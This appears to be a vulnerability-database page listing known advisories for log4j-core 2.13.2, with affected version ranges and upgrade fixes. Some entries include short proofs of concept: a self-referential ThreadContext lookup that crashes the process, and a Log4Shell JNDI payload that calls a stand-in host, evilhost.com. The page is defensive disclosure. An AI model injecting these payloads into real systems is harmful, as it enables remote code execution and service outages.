org.apache.logging.log4j:log4j-core@2.13.2

  • latest version

    2.25.4

  • latest non vulnerable version

  • first published

    13 years ago

  • latest version published

    1 months ago

  • licenses detected

  • package registry

  • Direct Vulnerabilities

    Known vulnerabilities in the org.apache.logging.log4j:log4j-core package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Improper Encoding or Escaping of Output

    org.apache.logging.log4j:log4j-core is a logging library for Java.

    Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the Log4j1XmlLayout plugin. An attacker can cause log events to be silently lost or downstream log processing systems to drop or fail to index affected records by introducing XML 1.0 forbidden characters into log messages, resulting in malformed XML output that conforming XML parsers reject with a fatal error.

    How to fix Improper Encoding or Escaping of Output?

    A fix was pushed into the master branch but not yet published.

    [2.7,2.25.4)[3.0.0-alpha1,)
    • H
    Improper Encoding or Escaping of Output

    org.apache.logging.log4j:log4j-core is a logging library for Java.

    Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the XmlLayout plugin. An attacker can cause log events to be silently lost or malformed by injecting XML 1.0 forbidden characters into log messages or MDC values. This may result in malformed XML output, which can cause downstream log-processing systems to drop affected records or prevent log events from being delivered to their intended destinations.

    How to fix Improper Encoding or Escaping of Output?

    A fix was pushed into the master branch but not yet published.

    [2.0-alpha1,2.25.4)[3.0.0-alpha1,)
    • M
    Improper Validation of Certificate with Host Mismatch

    org.apache.logging.log4j:log4j-core is a logging library for Java.

    Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch due to the lack of TLS hostname verification in the SocketAppender component when configured through the verifyHostName attribute of the <Ssl> element. An attacker can intercept and manipulate network traffic by presenting a certificate issued by a trusted certificate authority to the appender's configured trust store, or the default Java trust store if none is configured. This is only exploitable if an SMTP, Socket, or Syslog appender is in use and TLS is configured via a nested element.

    Note:

    This issue is due to incomplete fix for CVE-2025-68161.

    How to fix Improper Validation of Certificate with Host Mismatch?

    A fix was pushed into the master branch but not yet published.

    [2.12.0,2.25.4)[3.0.0-alpha1,)
    • M
    Improper Validation of Certificate with Host Mismatch

    org.apache.logging.log4j:log4j-core is a logging library for Java.

    Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch due to the lack of TLS hostname verification in the SocketAppender component. An attacker can intercept or redirect log traffic by performing a man-in-the-middle attack if they are able to intercept or redirect network traffic between the client and the log receiver and can present a server certificate issued by a certification authority trusted by the configured trust store or the default Java trust store.

    How to fix Improper Validation of Certificate with Host Mismatch?

    Upgrade org.apache.logging.log4j:log4j-core to version 2.25.3 or higher.

    [,2.25.3)
    • M
    Arbitrary Code Execution

    org.apache.logging.log4j:log4j-core is a logging library for Java.

    Affected versions of this package are vulnerable to Arbitrary Code Execution.
    Note: Even though this vulnerability appears to be related to the log4Shell vulnerability, this vulnerability requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.

    An attacker with access to modification of logging configuration is able to configure JDBCAppender with a data source referencing a JNDI URI - which can execute malicious code.

    In the fixed versions, JDBCAppender is using JndiManager and disables JNDI lookups by default (via log4j2.enableJndiJdbc=false).

    How to fix Arbitrary Code Execution?

    Upgrade org.apache.logging.log4j:log4j-core to version 2.3.2, 2.12.4, 2.17.1 or higher.

    [2.0-beta7,2.3.2)[2.4,2.12.4)[2.13.0,2.17.1)
    • H
    Denial of Service (DoS)

    org.apache.logging.log4j:log4j-core is a logging library for Java.

    Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.

    When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.

    PoC

    In log4j.properties:

    appender.console.type = Console
    appender.console.name = console
    appender.console.layout.type = PatternLayout
    appender.console.layout.pattern = !${ctx:test}! %m%n
    rootLogger.level = ALL
    rootLogger.appenderRef.file.ref = console
    

    In Main.java:

    ThreadContext.put("test", "${::-${ctx:test}}");
    logger.error("boom"); // Will not be logged
    

    How to fix Denial of Service (DoS)?

    Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.3, 2.17.0 or higher.

    [2.0-beta9,2.3.1)[2.4,2.12.3)[2.13.0,2.17.0)
    • C
    Remote Code Execution (RCE)

    org.apache.logging.log4j:log4j-core is a logging library for Java.

    Affected versions of this package are vulnerable to Remote Code Execution (RCE) if one of the following conditions is met:

    1. Logging configuration explicitly enables lookups – either by default (if using a version lower than 2.15.0) or manually by using %m{lookups} as formatMsgNoLookups is switched on by default as of version 2.15.0.
    2. Or uses a non-default Pattern Layout with Context Lookup where attackers can control input data via Thread Context Map (MDC),
    3. Or uses Logger.printf("%s", userInput) function where attackers can control the userInput variable.

    A malicious actor is able to bypass the mitigation implemented in version 2.15.0 that limits JNDI lookups to localhost only: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}.

    We recommend updating to version 2.16.0 which completely disables JNDI lookups by default. If upgrading is not an option, this issue can be mitigated in prior releases by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

    PoC

    In config:

    <pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
    

    In code:

    ThreadContext.put("loginId", UserControlledInput);
    

    History

    This vulnerability was previously assigned a CVSS score of 3.7 (Low), and the impact was believed to be Denial of Service (DoS).

    Furthermore, the advisory previously mentioned Thread Context Map patterns (%X, %mdc, or %MDC) as being vulnerable to this issue, but that has since been proven wrong.

    On December 17, 2021 new information came to light, demonstrating that an Arbitrary Code Execution vulnerability still exists in version 2.15.0 of Log4j due to a bypass to the localhost-only lookup mechanism.

    How to fix Remote Code Execution (RCE)?

    Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.16.0 or higher.

    [2.0-beta9,2.3.1)[2.4,2.12.2)[2.13.0,2.16.0)
    • C
    Remote Code Execution (RCE)

    org.apache.logging.log4j:log4j-core is a logging library for Java.

    Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

    From log4j 2.15.0, JNDI LDAP endpoints are restricted to localhost by default.

    How to fix Remote Code Execution (RCE)?

    Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.15.0 or higher.

    Use this guide to scan your projects for the Log4Shell vulnerability.

    [2.0-beta9,2.3.1)[2.4,2.12.2)[2.13.0,2.15.0)